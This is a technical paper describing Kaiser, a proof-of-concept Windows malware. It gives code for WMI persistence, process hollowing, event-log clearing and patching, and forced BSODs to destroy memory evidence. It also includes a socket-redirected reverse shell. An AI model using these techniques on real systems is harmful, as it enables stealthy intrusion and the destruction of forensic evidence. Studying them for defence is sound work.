Anti-forensic and File-less Malware
Recommended Pre-requisites
- C programming language
- PowerShell scripting language
- Intel x86 assembly language
- Windows API
- Windows Internals
- PE file format
Contents
- Introduction
-
Fundamental Concepts
- 2.1 File-less Techniques
- 2.1.1 Persistence
- 2.1.2 Process Hollowing
- 2.1.3 Reflective DLL Injection
- 2.1.4 Backdoor
- 2.2 Anti-forensic Techniques
- 2.2.1 Disabling Event Logging
- 2.2.1.1 Suspending Event Logging Threads
- 2.2.1.2 Patching the Event Logging Module
- 2.2.2 Forensic Analysis Prevention
- 2.2.2.1 Uninstalling Persistence
- 2.2.2.2 Wiping Event Logs
- 2.2.2.3 Removing Memory Artefacts
- 2.2.1 Disabling Event Logging
- 2.1 File-less Techniques
- Kaiser
- Conclusion
- References
1 Introduction
One of the most advantageous attributes for a malware to have is survival as a means to maintain persistence and to evade detection by security solutions. Since developing a full-blown piece of malware requires expensive resources, this trait becomes increasingly desireable to continuously remain unknown and undetected.
A property of such malware should include anti-forensic capabilities in its kit such that its footprint is minimal as well as tampering with with system and forensic evidence to prevent its capture and analysis. Coupled with file-less techniques, sophisticated malware may have the ability to attack a system while being evasive by avoiding traditional methods where detection has been developed and matured over the past years.
The proof-of-concept malware, Kaiser, was developed to demonstrate an example subset of anti-forensic and file-less functionalities. Such functionalities include file-less persistence and execution of binaries, and anti-forensic countermeasures that disable the event logging service and active prevention of forensic analysis of the infected machine and itself to deny any further investigation into the intrusion.
2 Fundamental Concepts
This section discusses the necessary background information for the example subset of anti-forensic and file-less capabilities implemented into Kaiser.
2.1 File-less Techniques
Currently, there is no official and universal definition of the term “file-less” so the one given by Microsoft’s "Fileless threats"1 will be used for the scope of this paper. Microsoft defines three types of “file-less”:
-
Type I: No file activity is performed - this describes threats that never touches the disk. Such examples can leverage the use of an exploit to attack a system by injecting directly into memory. This type of threat is classified as highly sophisticated, uncommon, impractical, and unreliable despite it being incredibly dangerous.
-
Type II: Indirect file activity - this describes threats that do not traditionally write to the file system. An example of this may leverage the Windows Management Instrumentation (WMI) to install a persistence mechanism that executes a command to perform a malicious activity. Microsoft state that the WMI repository exists as a physical file and as such, the installed threat indirectly uses disk. Since it is a “multi-purpose data container,” detection and removal of embedded malicious data is non-trivial.
-
Type III: Files required to operate - this describes threats that utilise files for “execution and injection” operations such as using “executables, DLLs, LNK files or scheduled tasks” as well as malicious macro documents.
The following functionality delves into types II and III to deliver persistence and execution of applications file-lessly.
2.1.1 Persistence
The WMI is "the infrastructure for management data and operations on Windows-based systems."2 It provides methods for storing and querying data as well as providing methods to execute operations, each categorised under their own appropriate classes where each class lives under their respective namespace. For example, the Win32_Process3 class contains data on existing processes such as the command line, executable path, name, and process ID that can be queried. It also provides the Create4 method to spawn new processes.
In addition to storing data, the WMI includes a notification system that can be triggered on specific events of which there are two types: intrinsic and extrinsic.5 Intrinsic events occur when there is a change internal to the WMI, that is, any modifications to classes, objects or namespaces. In contrast, extrinsic events happen when there is a change external to the WMI such as on process, module or thread start, or registry changes.
An event filter is described as the conditions under which the WMI fires an event.6 They can be generated by specifying a filter query which indicates on which event it should be triggered. In the case of restart persistence, it may be desired to set an event filter to be fired when the user logs onto the system, that is, in the event of the instance creation of a Win32_LoggedOnUser7 class. The following PowerShell code demonstrates this example:
$query = "SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE TargetInstance ISA 'Win32_LoggedOnUser'"
$evtFilter = Set-WmiInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{
Name = "FilterName";
EventNamespace = "root\cimv2";
QueryLanguage = "WQL";
Query = $query;
}
The event filter can be used to deliver a consumer which can take action upon the event trigger. To perform an action, an __EventConsumer8 can be created. The CommandLineEventConsumer9 class is a specific __EventConsumer which can execute an arbitrary command on the command line by defining its CommandLineTemplate argument. The following PowerShell code demonstrates this example:
$cmd = powershell.exe C:\Path\To\Script.ps1
$evtConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{
Name = "ConsumerName";
CommandLineTemplate = $cmd
}
Finally, to combine the event filter with its consumer, the __FilterToConsumerBinding10 class can be used. The folllowing PowerShell code deomstrates this example:
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{
Filter = $evtFilter;
Consumer = $evtConsumer
}
Upon the creation and registration of these three classes instances, whenever a user logs into a system, it will trigger the event filter and the consumer will activate the execution of the PowerShell script. To transform this into type II file-less, the defined PowerShell script can be made redundant by translating its contents into the command line.
2.1.2 Process Hollowing
Third-party applications can be file-lessly executed directly from memory. The process hollowing technique describes an example of how this can be done by manually emulating the user-mode procedure carried out by the Windows image loader when a PE file is called to execute. The following steps describe an example of how this can be performed:
- Read the raw bytes of the desired PE file
- Verify the PE file format
- Create a suspended process
- Unmap the suspended process’s executable image
- Map the bytes of the PE file into the process
- Set the entry point to the PE file’s entry point
- Resume the process
Mapping the PE file is relatively straight-forward for process hollowing as it will automatically initialise all the necessary objects in memory such as DLLs and the executable image’s import values.
Mapping PE file
Disk Memory
,+------------ +---------------+ --- ImageBase
/ | Headers | SizeOfHeaders
/ ,+----------- +---------------+ --- VirtualAddress
--- +------------+ / | |
SizeofHeaders | Headers | / | .text | VirtualSize
PointerToRawData --- +------------+ | |
SizeOfRawData | .text | ,+-------------- +---------------+ --- VirtualAddress
PointerToRawData --- +------------+ | |
SizeOfRawData | .data | | .data | VirtualSize
PointerToRawData --- +------------+ | |
SizeOfRawData | ... | `+-------------- +---------------+ --- VirtualAddress
--- +------------+ | |
\ | ... | VirtualSize
\ | |
`+------------ +---------------+ ---
As shown in the above figure, the PE file on disk must be expanded to fill each of its sections in memory described by their size members. The header of the PE file remains the same size and starts at the ImageBase
but each section must be translated to its correct virtual offset and pad up to its VirtualSize
rather than its SizeOfRawData
.
The desired PE file’s bytes can be stored in memory which will be used to replace it in memory making it file-less. Since this uses a file from disk, it is considered a type III file-less technique.
2.1.3 Reflective DLL Injection
Reflective DLL Injection uses a similar method to process hollowing but it requires further preparations as is not automatically initialised as before. After mapping the PE file (that follows the same procedure as process hollowing), the relocations and imports must be manually updated to contain the correct values.
Fixing Relocations
In the case where the DLL is not loaded into its desired base address, the relocations need to be parsed such that the references in the code to other sections are accurate. This is due to the assumption that the linker makes about the image base when mapped into memory.11 The relocation table, if present, can be found in the .reloc
section which contains an array of IMAGE_BASE_RELOCATION
structures, each followed by WORD TypeOffset
values that contain both the type of relocation and the offset. The structure is defined12 like so:
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;
The VirtualAddress
is the starting RVA for the following block of relocations and the SizeOfBlock
is the size of the entire block including both the IMAGE_BASE_RELOCATION
structure and the TypeOffset
relocations. For each TypeOffset
value, the top 4 bits detail the type of relocation and the bottom 12 bits is the offset from the VirtualAddress
RVA. An example:
VirtualAddress: 0x00001000; SizeOfBlock: 0x0000000C
TypeOffset: 0x300C
TypeOffset: 0x3010
Both TypeOffset
s are a IMAGE_REL_BASED_HIGHLOW
relocation type as indicated by the value of 3
. The first offset is at 0xC
and the second is at 0x10
. Assume that the DLL was loaded into 0x01000000
and its ImageBase
is 0x00400000
. The relocation would be calculated and corrected as follows13 14:
// Linker-assumed desired base address, obtained from IMAGE_OPTIONAL_HEADER.ImageBase.
DWORD ImageBase = 0x00400000;
// Starting RVA of relocation block, obtained from IMAGE_RELOCATION_BLOCK.VirtualAddress.
ULONG VirtualAddress = 0x00001000;
// Base address where DLL was actually loaded.
PVOID BaseAddress = 0x01000000;
// Starting address of relocation block.
ULONG_PTR Address = (ULONG_PTR)BaseAddress + (ULONG_PTR)VirtualAddress;
// Difference between the base address and ImageBase.
LONGLONG Delta = (ULONG_PTR)BaseAddress - ImageBase; // = 0x00C00000
PULONG LongPtr = NULL;
SHORT Offset = 0;
// Calculate the first relocation.
USHORT TypeOffset1 = 0x300C;
// Get the offset from VirtualAddress.
Offset = TypeOffset1 & 0xFFF;
LongPtr = (PULONG)(Address + Offset);
// Correct the value of the first relocation.
*LongPtr += Delta;
// Calculate the second relocation.
USHORT TypeOffset2 = 0x3010;
// Get the offset from VirtualAddress.
Offset = TypeOffset2 & 0xFFF;
LongPtr = (PULONG)(Address + Offset);
// Correct the value of the second relocation.
*LongPtr += Delta;
Note: The IMAGE_REL_BASED_HIGHLOW
relocation type alone is sufficient for the scope of this paper.
Fixing Import Table
The import table consists of functions that rely on external shared libraries to provide extended functionality to the application on runtime, especially for Windows API routines that are exported by common DLLs ntdll.dll
and kernel32.dll
. When an executable is loaded into memory, the table must be initialised with the correct addresses of where the exported functions exist in memory so that it can be referenced and used.
Walking the import table first requires the identification of the IMAGE_IMPORT_DESCRIPTOR
struct which is defined15 as:
typedef struct _IMAGE_IMPORT_DESCRIPTOR {
union {
ULONG Characteristics;
ULONG OriginalFirstThunk;
} DUMMYUNIONNAME;
ULONG TimeDateStamp;
ULONG ForwarderChain;
ULONG Name;
ULONG FirstThunk;
} IMAGE_IMPORT_DESCRIPTOR, *PIMAGE_IMPORT_DESCRIPTOR;
The important members of this structure are OriginalFirstThunk
, Name
and FirstThunk
. The Name
member points to the ASCIIZ string of the DLL that provides the exported routines for this set of imports. Both OriginalFirstThunk
and FirstThunk
point to an IMAGE_THUNK_DATA
struct which are both identical on disk as a raw executable file. It is defined16 as:
typedef struct _IMAGE_THUNK_DATA32 {
union {
ULONG ForwarderString;
ULONG Function;
ULONG Ordinal;
ULONG AddressOfData;
} u1;
} IMAGE_THUNK_DATA32, *PIMAGE_THUNK_DATA32;
This structure can either be interpreted as either of the four union members and the IMAGE_IMPORT_BY_NAME
struct which is defined17 as:
typedef struct _IMAGE_IMPORT_BY_NAME {
WORD Hint;
BYTE Name[1];
} IMAGE_IMPORT_BY_NAME, *PIMAGE_IMPORT_BY_NAME;
When the executable is mapped into memory and the import table is being initialised, it will traverse the FirstThunk
array of IMAGE_THUNK_DATA
structures and replace them with the address of its function in memory. To locate the function, the IMAGE_THUNK_DATA.Ordinal
will be checked with a bitwise-and operation against the most significant bit, that is, IMAGE_THUNK_DATA.Ordinal & 0x80000000
. If it is set, the ordinal will be the lower 16-bits of the value and the function can be located using it as the offset in the DLL’s ordinal table. For example, if the Ordinal
value is 0x8000013D
, the ordinal value will be 0x13D
. Otherwise, the function is found by name by following into the IMAGE_IMPORT_BY_NAME
struct and using its Name
member. The Hint
can be used as an offset into the DLL’s exported name table to find the address of the exported function but also requires a check to test if the function name matches however it is optional and some linkers do not set this value. Once the address of the function has been found, it will replace the FirstThunk
's IMAGE_THUNK_DATA
's structure with the address while leaving the OriginalFirstThunk
's intact.18
2.1.4 Backdoor
Achieving a type III file-less backdoor is possible by using a technique known as Living off the Land (LOL) that describes the usage of an existing executable on the system to perform an action. This removes the need for malware to import their own or drop additional tools onto the machine making it inherently file-less but can also serve as a contingency. Windows natively comes packaged with Remote Desktop Protocol (RDP) that enables access to the system from a remote machine over the network however, it may be disabled. A few settings may need to be reconfigured to enable it:
- Registry value
fDenyTSConnections
under the keyHKLM\System\CurrentControlSet\Control\Terminal Server
should be set to0
to allow connections - Registry value
UserAuthentication
under the keyHKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
should be set to0
to disable “Network Level Authentication” - Windows Firewall should allow inbound TCP connections on port 3389
2.2 Anti-forensic Techniques
Forensics Wiki defines anti-forensics as "Attempts to negatively affect the existence, amount and/or quality of evidence from a crime scene, or make the analysis and examination of evidence difficult or impossible to conduct"19 whereas MITRE ATT&CKTM uses the term Defense Evasion that is described as "techniques an adversary may use to evade detection or avoid other defenses."20 The anti-forensic methods that will be discussed covers only a subset of anti-forensic methods that try to remove or hide evidence of the malware’s operations, and therefore detection, alongside the ability to disrupt the capabilities of a forensic investigation and analysis. These include tampering with the event logging service and active meaures to prevent the proper analysis of both the system and malware.
2.2.1 Disabling Event Logging
Microsoft defines event logging as "… a standard, centralized way for applications (and the operating system) to record important software and hardware events. The event logging service records events from various sources and stores them in a single collection called an event log."21 Event logs may contain a wealth of information including, but not limited to, user logins, external device connections, process creation, remote desktop connections, file activity, and even remote thread creations. The event logging service is, like other Windows services, run as threads under an svchost process container. From a forensic standpoint, it is a valuable source from which certain activity can be detected or discovered via monitoring or recovered from a machine of interest. To deny event logging is to avoid inital detection from administration and, if necessary, the destruction of crucial evidence and proper analysis of the infected system. It is important to know that despite its effectiveness, it is suspicious when there are long delays in between log entries and even more so when the logs are empty. This is left for the operator to understand how this works and when it is appropriate and necessary to disable event logging.
Clearing event logs is trivial by using the Windows Event Log API’s EvtClearLog
22 and specifying the ChannelPath
to be deleted. For example, the following call clears the Windows Logs’ Security event log:
EvtClearLog(NULL, L"Security", NULL, 0);
It can also be used to clear Applications and Services Logs’ Operational logs. The following clears the Terminal Services’s Local Session Manager that stores logs corresponding to Remote Desktop Protocol:
EvtClearLog(NULL, L"Microsoft-Windows-TerminalServices-LocalSessionManager/Operational", NULL, 0);
It should be noted that if the Security event log is cleared, a special event (ID 1102) will remain stating “The audit log was cleared.” Additionally, if the system was configured to forward logs to a remote server, clearing the event logs will be ineffective. There are two methods to defeat these mechanisms: suspending the event logging service’s threads and patching the event logging service’s module.
2.2.1.1 Suspending Event Logging Threads
Halil Dalabasmaz’s post Phant0m: Killing Windows Event Log23 informs of two ways to locate the event logging service’s threads: analysing the SubProcessTag
s in the corresponding svchost.exe process’s Thread Environment Block s (TEB) or walking thread stacks using debugging symbols. This paper only focusses on the former.
The goal of discovering the SubProcessTag
is because it can be used to identify the service tag for a thread, in this case, it is used to identify the event logging service’s threads.24 The SubProcessTag
is found in the TEBs of the event logging service’s process which can be found by performing the following steps:
- Identify the event logging service process using
OpenService
- Open the process using
OpenProcess
- Iterate through the process’s threads
- For each thread, obtain the TEB address using
NtQueryInformationThread
- Get the
SubProcessTag
value in the TEB struct usingReadProcessMemory
To check the thread’s service tag, the I_QueryTagInformation
function is called with the ServiceNameFromTagInformation
SC_SERVICE_TAG_QUERY_TYPE
value which stores the tag information into a SC_SERVICE_TAG_QUERY
struct type defined as:
typedef struct _SC_SERVICE_TAG_QUERY {
ULONG ProcessId;
ULONG ServiceTag;
ULONG Unknown;
PVOID Buffer;
} SC_SERVICE_TAG_QUERY, *PSC_SERVICE_TAG_QUERY;
The struct should be initialised as follows before calling I_QueryTagInformation
:
SC_SERVICE_TAG_QUERY sstq;
sstq.ProcessId = (ULONG)dwProcessId;
sstq.ServiceTag = (ULONG)uServiceTag;
sstq.Unknown = 0;
sstq.Buffer = NULL;
where dwProcessId
is the process ID of the service that contains the thread and the uServiceTag
is the SubProcessTag
value. On success, the Buffer
member will contain the string of the service tag, that is, if querying for event logging threads, it will contain "eventlog"
. After all of the the event logging threads have been identified, they can be opened using OpenThread
with THREAD_SUSPEND_RESUME
access rights and subsequently suspended or resumed.
2.2.1.2 Patching the Event Logging Module
The event logging service can be patched to prevent writing to the event logs by targetting the wevtsvc.dll module that exists within the corresponding svchost.exe process. The Mimikatz source code25 details an inline-patching technique on the Channel::ActualProcessEvent
function in wevtsvc.dll. The following disassembly was obtained from IDA Pro:
; void __thiscall Channel::ActualProcessEvent(Channel *this, struct BinXmlReader *)
6A 10 push 10
B8 B8 F9 69 71 mov eax, offset loc_7169F9B8
E8 57 EF FF FF call __EH_prolog3_0
8B F1 mov esi, ecx
8B 4D 08 mov ecx, [ebp + arg_0] ; this
E8 1C F8 FF FF call BinXmlReader::Reset ; BinXmlReader::Reset(void)
33 C9 xor ecx, ecx
38 8E C0 00 00 00 cmp [esi + 0C0h], cl
74 0C jz short loc_715D286D
The first instance of the byte pattern 8B F1 8B 4D 08 E8
is located within the module and then, from an offset of -12
(decimal), the bytes are replaced with C2 04 00
which disassembles into:
; void __thiscall Channel::ActualProcessEvent(Channel *this, struct BinXmlReader *)
C2 04 00 ret 4
This simply forces the function to return immediately rendering the remaining original code unused.
2.2.2 Forensic Analysis Prevention
In the circumstance where there is an attempt to perform analysis on the infected machine, such as acquiring a forensic image of memory, of when the operator decides that the malware is no longer needed on the system, evidence of malicious and suspicious presence and activity should be erased. The following discusses some ways that this can be achieved including: uninstalling persistence mechanisms, removing potential sources of evidence, and destruction of any memory-resident artefacts.
2.2.2.1 Uninstalling Persistence
Uninstalling the persistence mechanism from the WMI will prevent execution of the malware in the future. If all malicious payloads are bootstrapped using this persistence, the uninstallation will effectively remove all traces of code thus preventing recovery and therefore, analysis.
Deleting the persistence mechanism in the WMI can be done in C via the IWbemServices
26 interface. After initialisation and connection to the WMI server’s root\subscription
namespace, the IWbemServices
can be used to delete instances for given a path. For example, deleting a CommandLineEventConsumer
can be done by:
// Initialise IWbemServices pointer.
IWbemServices *pSvc = NULL;
// Set path to the WMI instance which shall be deleted.
LPWSTR szPath = L"CommandLineEventConsumer.Name='ExampleConsumer'"
// Delete.
BSTR bPath = SysAllocString(szPath);
HRESULT hRes = pSvc->lpVtbl->DeleteInstance(pSvc, bPath, 0, NULL, NULL);
SysFreeString(bPath);
2.2.2.2 Wiping Event Logs
As a precautionary measure, if the system does not forward any logs to a remote server and there is an attempt at anlysis of an infected machine, erasing the event logs removes a major source of information which may be used in a forensic investigation. Clearing the event logs can be done using the EvtClearLog
as aforementioned.
2.2.2.3 Removing Memory Artefacts
During the circumstance where analysis is being performed on the infected machine, destroying artefacts that are resident in memory is crucial because the malicious code may be caught in a memory image capture. One solution that can destroy the data in memory before an image capture can be performed is by causing the system to shut down or reset. This can be forced by producing a Blue Screen of Death (BSOD). Note that while data in volatile memory will be erased, Windows may generate crash dumps to preserve the state of memory in the event of a BSOD. Disabling crash dumps can be done by modifying the following settings:
- Registry value
RPSessionInterval
under the keyHKLM\Software\Microsoft\Windows NT\CurrentVersion\SystemRestore
should be set to0
- Registry subkey
Clients
underHKLM\Software\Microsoft\Windows NT\CurrentVersion\SPP
should be deleted - Registry subkey
Leases
underHKLM\Software\Microsoft\Windows NT\CurrentVersion\SPP
should be deleted - Registry value
CrashDumpEnabled
under the keyHKLM\System\CurrentControlSet\Control\CrashControl
should be set to0
After disabling crash dumps, a BSOD can be created in userland from two methods: calling NtRaiseHardError
27 or by setting a process as critical and then terminating it. To BSOD with NtRaiseHardError
, the OptionShutdownSystem
parameter must be passed into the HARDERROR_RESPONSE_OPTION
parameter and the process must have the SeShutdownPrivilege
privilege:
// Get shutdown privileges.
if (ProcessSetPrivilege(GetCurrentProcess(), SE_SHUTDOWN_NAME, TRUE) == TRUE) {
HARDERROR_RESPONSE hr;
// Trigger BSOD.
NtRaiseHardError(STATUS_ACCESS_DENIED, 0, NULL, NULL, OptionShutdownSystem, &hr);
}
Creating and terminating a critical process is relatively simple:
// Set process critical.
RtlSetProcessIsCritical(TRUE, NULL, FALSE);
// Trigger BSOD by terminating critical process.
ExitProcess(0);
3 Kaiser
Kaiser is a proof-of-concept malware that was developed to demonstrate the discussed anti-forensic and file-less techniques on the Windows 7 32-bit operating system. They are implemented into several functions that enable or utilise them:
-
mimikatz
: reflectively loads the Mimikatz third-party application into the pre-defined system binary’s process via process hollowing and connects back to a user-specified remote address and port for an interactive session over the network. The Mimikatz binary is compressed and embedded into Kaiser. -
shell
: reflectively loads the Windows command shell application (cmd.exe) into the pre-defined system binary’s process via process hollowing and connects back to a user-specified remote address and port for an interactive session over the network. -
evtlog
: enables or disables the event logging service, or clears the event logs of choice. Event logging threads can be suspended or resumed, or the event logging service’s module can be patched or unpatched. -
rdp
: enables or disables the Remote Desktop Protocol. -
dex
: Download and EXecute; downloads and reflectively loads an application into the pre-defined system binary’s process via process hollowing and optionally connects back to a user-specified remote address and port for an interactive session (console applications only) over the network. -
purge
: clears pre-defined event logs, uninstalls WMI persistence mechanism, and/or forces a BSOD. A separate thread is spawned to monitor analysis tools which, when triggered, will activate all of the previous operations.
3.1 Persistence Mechanism
Kaiser’s initial infection vector is via a PowerShell script that installs a downloader script into the WMI for persistence. The downloaded script is an instance of Invoke-ReflectivePEInjection.ps128 that, in turn, downloads the Kaiser.dll binary into memory with which it is reflectively injected into the services.exe (by default) process.
- Install a
CommandLineEventConsumer
downloader into the WMI that activates every user logon - The downloader script downloads another script that contains Invoke-ReflectivePeInjection.ps1 into memory
- The second script downloads Kaiser.dll into memory and then calls Invoke-ReflectivePEInjection.ps1 to inject into services.exe
Since the WMI consumers run under NT AUTHORITY\SYSTEM, injection into services.exe is possible. Every stage is performed file-lessly and will be true for persistence.
Because there are multiple stages to start Kaiser, it introduces some dependencies such as internet access and that each stage is performed without errors. The advantage of this is that the payload can be updated relatively easily (provided that the download address is the same) and access to the payload can be invalidated by removing the resource.
3.2 Process-hollowed and Networked Interactive Sessions
Interactive sessions over the network back to the operator are only available with console applications such as Mimikatz or cmd.exe because they utilise the standard input and output handles. The creation of a process with process hollowing using CreateProcess
allows the standard handles to be set to a socket (initialised using WSASocket
) via the STATUPINFO
29structure:
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;
HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
To use the standard handles, the dwFlags
member must have the STARTF_USESTDHANDLES
value. To direct them over the network, simply set the handles to the value of the socket like so:
// Initialise the socket using WSASocket.
SOCKET socket = CreateSocket(...);
// Initialise STARTUPINFO structure.
STARTUPINFO si;
// Use the std handles and set it to the socket.
si.dwFlags |= STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)socket;
// Start process hollowing.
CreateProcess(..., &si, ...);
3.3 Active Forensic Analysis Prevention
The purge
module offers a process-monitoring functionality designed to target any analysis tools that may be used against Kaiser. The current example implementation actively searches for new processes that contain the case-insensitive string “ftk” in its process name to prevent the FTK memory acquisition tools. If the condition is satisfied, it will immediately clear some pre-defined event logs, uninstall the persistence in the WMI and then crash the system with a BSOD in an attempt to protect Kaiser from any form of analysis and prevent any further possible forensic investigation.
Since the persistence was engineered file-lessly and with multiple stages, even if the CommandLineEventConsumer
script was obtained, it will only point to the resource from where it downloaded Kaiser Theoretically, this can be easily counter by removing it if the operator was alerted and reacted within time thus, prolonging the lifetime of the malicious code without needing to be redeveloped against signatures.
3.4 Further Improvements
Improvements can be developed in order to make Kaiser more effective with regards to anti-forensics, including:
- Automation of event logging disabling and enabling while performing a malicious task to remove accidental errors from the operator. This is non-trivial because of the non-synchronous nature of how Kaiser operates certain functionality, and event log disabling may occur over a long period of time during shell or Mimikatz usage which may be considered unnecessary.
- Automatic uninstall after inactivity from the operator. If, for any particular reason, the operator no longer accesses an instance of Kaiser on an infected machine, it should perform an automatic uninstallation to prevent any unnecessary detection.
- Hooking the event logging service to drop events related to Kaiser activity. This could potentially solve the non-trivial solution of automating disabling and enabling while allowing benign entries to be logged seamlessly.
- Additional analysis tools to monitor. Currently the only tool(s) that is targeted is FTK. Adding more to the list such as dd and Sysinternals tools would make forensic analysis prevention more effective.
4 Conclusion
This report aimed to show an example subset of file-less and anti-forenisic attacks that can be used by a malicious threat to evade detection and forensic analysis. The eaxmples demonstrated by Kaiser include file-less WMI persistence, backdoor access and execution of third-party applications as well as anti-forensic methods of destroying or disabling sources of forensic evidence such as the event logging service and memory-resident artefacts. These tactics can be abused by sophisticated adversaries to attack systems while minimising risk of being detected and/or traced to avoid any meaningful result from a forensic investigation.
5 References
- Microsoft, Fileless threats, https://docs.microsoft.com/en-us/windows/security/threat-protection/intelligence/fileless-threats
- Microsoft, Windows Management Instrumentation, https://docs.microsoft.com/en-us/windows/desktop/wmisdk/wmi-start-page
- Microsoft, Win32_Process class, https://docs.microsoft.com/en-us/windows/desktop/cimwin32prov/win32-process
- Microsoft, Create method of the Win32_Process class, https://docs.microsoft.com/en-us/windows/desktop/cimwin32prov/create-method-in-class-win32-process
- Microsoft, Determining the Type of Event to Receive, https://docs.microsoft.com/en-us/windows/desktop/wmisdk/determining-the-type-of-event-to-receive
- Microsoft, Creating an Event Filter, https://docs.microsoft.com/en-us/windows/desktop/wmisdk/creating-an-event-filter
- Microsoft, Win32_LoggedOnUser, https://docs.microsoft.com/en-us/windows/desktop/cimwin32prov/win32-loggedonuser
- Microsoft, __EventConsumer, https://docs.microsoft.com/en-us/windows/desktop/wmisdk/--eventconsumer
- Microsoft, CommandLineEventConsumer, https://docs.microsoft.com/en-us/windows/desktop/wmisdk/commandlineeventconsumer
- Microsoft, __FilterToConsumerBinding, https://docs.microsoft.com/en-us/windows/desktop/wmisdk/--filtertoconsumerbinding
- Microsoft, Peering Inside the PE https://msdn.microsoft.com/en-au/library/ms809762.aspx
- ReactOS, IMAGE_BASE_RELOCATION, https://doxygen.reactos.org/d5/d44/ntimage_8h_source.html#l00162
- ReactOS, LdrRelocateImageWithBias, https://doxygen.reactos.org/df/da2/sdk_2lib_2rtl_2image_8c.html#a61fae0253935550115acc7751e6d6073
- ReactOS, LdrProcessRelocationBlockLongLong, https://doxygen.reactos.org/df/da2/sdk_2lib_2rtl_2image_8c.html#a79a460be03d9da50f71d427b26238496
- ReactOS, IMAGE_IMPORT_DESCRIPTOR, https://doxygen.reactos.org/d5/d44/ntimage_8h_source.html#l00572
- ReactOS, IMAGE_THUNK_DATA, https://doxygen.reactos.org/d5/d44/ntimage_8h_source.html#l00510
- ReactOS, IMAGE_IMPORT_BY_NAME, https://doxygen.reactos.org/dd/d43/pedump_8c_source.html#l00328
- Iczelion, Tutorial 6: Import Table, http://win32assembly.programminghorizon.com/pe-tut6.html
- Forensics Wiki, Anti-forensics, https://www.forensicswiki.org/wiki/Anti-forensic_techniques
- MITRE ATT&CKTM, Defense Evasion, https://attack.mitre.org/tactics/TA0005/
- Microsoft, Event Logging, https://docs.microsoft.com/en-us/windows/desktop/eventlog/event-logging
- Microsoft, EvtClearLog, https://docs.microsoft.com/en-us/windows/desktop/api/winevt/nf-winevt-evtclearlog
- Phant0m: Killing Windows Event Log, https://artofpwn.com/phant0m-killing-windows-event-log.html
- HOWTO: Use I_QueryTagInformation, https://wj32.org/wp/2010/03/30/howto-use-i_querytaginformation/
- GitHub, Mimikatz Event log, https://github.com/gentilkiwi/mimikatz/blob/110a831ebe7b529c5dd3010f9e7fced0d3e3a46c/mimikatz/modules/kuhl_m_event.c
- Microsoft, IWbemServices, interface https://docs.microsoft.com/en-us/windows/desktop/api/wbemcli/nn-wbemcli-iwbemservices
- NTAPI Undocumented Functions, NtRaiseHardError, https://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FError%2FNtRaiseHardError.
- GitHub, Invoke-ReflectivePEInjection.ps1, https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-ReflectivePEInjection.ps1#L662
- Microsoft, STARTUPINFOA, https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/ns-processthreadsapi-_startupinfoa
Thanks for reading! Hope you learned something or just generally enjoyed it! Source can be found on my GitHub here: https://github.com/NtRaiseHardError/Kaiser
– dtm